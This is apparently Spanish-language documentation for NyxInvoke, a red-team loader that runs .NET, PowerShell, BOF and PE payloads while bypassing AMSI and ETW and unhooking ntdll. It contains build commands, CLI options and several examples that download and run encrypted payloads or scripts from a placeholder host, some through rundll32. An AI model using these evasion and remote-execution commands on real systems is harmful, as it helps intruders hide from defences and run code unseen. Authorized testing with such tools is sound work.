
NyxInvoke es una herramienta CLI de Rust para ejecutar ensamblados .NET, PowerShell y BOFs con funciones de AMSI sin parches y bypass de ETW. con compatibilidad con compilación dual
NyxInvoke es una herramienta versátil basada en Rust diseñada para ejecutar ensamblados .NET, comandos/scripts de PowerShell, Beacon Object Files (BOFs) y archivos PE, con capacidades integradas de desenganchado de Ntdll (Ntdll Unhooking) y evasión sin parches de AMSI y ETW. Puede compilarse como ejecutable independiente o como DLL.
NyxInvoke puede compilarse como ejecutable o como DLL. Utilice los siguientes comandos:
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features exe --bin NyxInvoke
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features dll --lib
Para incluir datos CLR, BOF o PE compilados, añada las características correspondientes:
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=exe,compiled_clr,compiled_bof,compiled_pe --bin NyxInvoke
o
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=dll,compiled_clr,compiled_bof,compiled_pe --lib
El ejecutable admite tres modos principales de operación:
NyxInvoke.exe <mode> [OPTIONS]
Donde <mode> es uno de: clr, ps, bof o pe.
Cuando se compila como DLL, NyxInvoke puede ejecutarse mediante rundll32. La sintaxis es:
rundll32.exe NyxInvoke.dll,NyxInvoke <mode> [OPTIONS]
Execute Common Language Runtime (CLR) assemblies
Usage: NyxInvoke.exe clr [OPTIONS]
Options:
-a, --args <ARGS>... Arguments to pass to the assembly
-b, --base <URL_OR_PATH> Base URL or path for resources
-k, --key <KEY_FILE> Path to the encryption key file
-i, --iv <IV_FILE> Path to the initialization vector (IV) file
-f, --assembly <ASSEMBLY_FILE> Path or URL to the encrypted assembly file to execute
-u, --unencrypted Whether the assembly is unencrypted (default is encrypted)
-h, --help Print help (see more with '--help')
Example: NyxInvoke.exe clr --assembly payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
Execute Beacon Object Files (BOF)
Usage: NyxInvoke.exe bof [OPTIONS]
Options:
-a, --args <ARGS>... Arguments to pass to the BOF
-b, --base <URL_OR_PATH> Base URL or path for resources
-k, --key <KEY_FILE> Path to the encryption key file
-i, --iv <IV_FILE> Path to the initialization vector (IV) file
-f, --bof <BOF_FILE> Path or URL to the encrypted BOF file to execute
-u, --unencrypted Whether the BOF is unencrypted (default is encrypted)
-h, --help Print help (see more with '--help')
Example: NyxInvoke.exe bof --bof payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
Execute Portable Executable (PE) files
Usage: NyxInvoke.exe pe [OPTIONS]
Options:
-a, --args <ARGS>... Arguments to pass to the PE
-b, --base <URL_OR_PATH> Base URL or path for resources
-k, --key <KEY_FILE> Path to the encryption key file
-i, --iv <IV_FILE> Path to the initialization vector (IV) file
-f, --pe <PE_FILE> Path or URL to the encrypted PE file to execute
-u, --unencrypted Whether the PE is unencrypted (default is encrypted)
-h, --help Print help (see more with '--help')
Example: NyxInvoke.exe pe --pe payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
Execute PowerShell commands or scripts
Usage: NyxInvoke.exe ps [OPTIONS]
Options:
-c, --command <PS_COMMAND> PowerShell command to execute
-s, --script <PS_SCRIPT> Path or URL to the PowerShell script to execute
-h, --help Print help (see more with '--help')
Examples:
NyxInvoke.exe ps --command "Get-Process"
NyxInvoke.exe ps --script script.ps1
Modo CLR (ejecución remota):
NyxInvoke.exe clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
Modo PowerShell (ejecución de script):
NyxInvoke.exe ps --script C:\path\to\script.ps1
Modo BOF (ejecución local):
NyxInvoke.exe bof --key C:\path\to\bof_aes.key --iv C:\path\to\bof_aes.iv --bof C:\path\to\bof_data.enc --args "str=argument1" "int=42"
Modo PE (ejecución compilada):
NyxInvoke.exe pe --args arg1
Modo CLR (ejecución remota):
rundll32.exe NyxInvoke.dll,NyxInvoke clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
Modo PowerShell (ejecución directa de comandos):
rundll32.exe NyxInvoke.dll,NyxInvoke ps --command "Get-Process | Select-Object Name, ID"
Modo BOF (ejecución compilada):
rundll32.exe NyxInvoke.dll,NyxInvoke bof --args "str=argument1" "int=42"
Modo PE (ejecución local sin cifrar):
rundll32.exe NyxInvoke.dll,NyxInvoke pe -u --pe C:\path\to\pe.exe --args arg1 arg2
En el directorio resources, encontrará varios archivos para probar la funcionalidad de NyxInvoke:
Ensamblado CLR cifrado (Seatbelt):
clr_data.encNyxInvoke.exe clr --key resources/clr_aes.key --iv resources/clr_aes.iv --assembly resources/clr_data.enc --args AntiVirus
BOF cifrado (listado de directorios):
bof_data.encNyxInvoke.exe bof --key resources/bof_aes.key --iv resources/bof_aes.iv --bof resources/bof_data.enc --args "wstr=C:\Windows\system32\cmd.exe"
PE cifrado (cuadro de mensaje):
pe_data.encNyxInvoke.exe pe
PowerShell (cuadro de mensaje):
ps.ps1NyxInvoke.exe ps -s http://example.com/ps.ps1




Esta herramienta es solo para fines educativos y de pruebas autorizadas. Asegúrese de tener los permisos adecuados antes de usarla en cualquier entorno.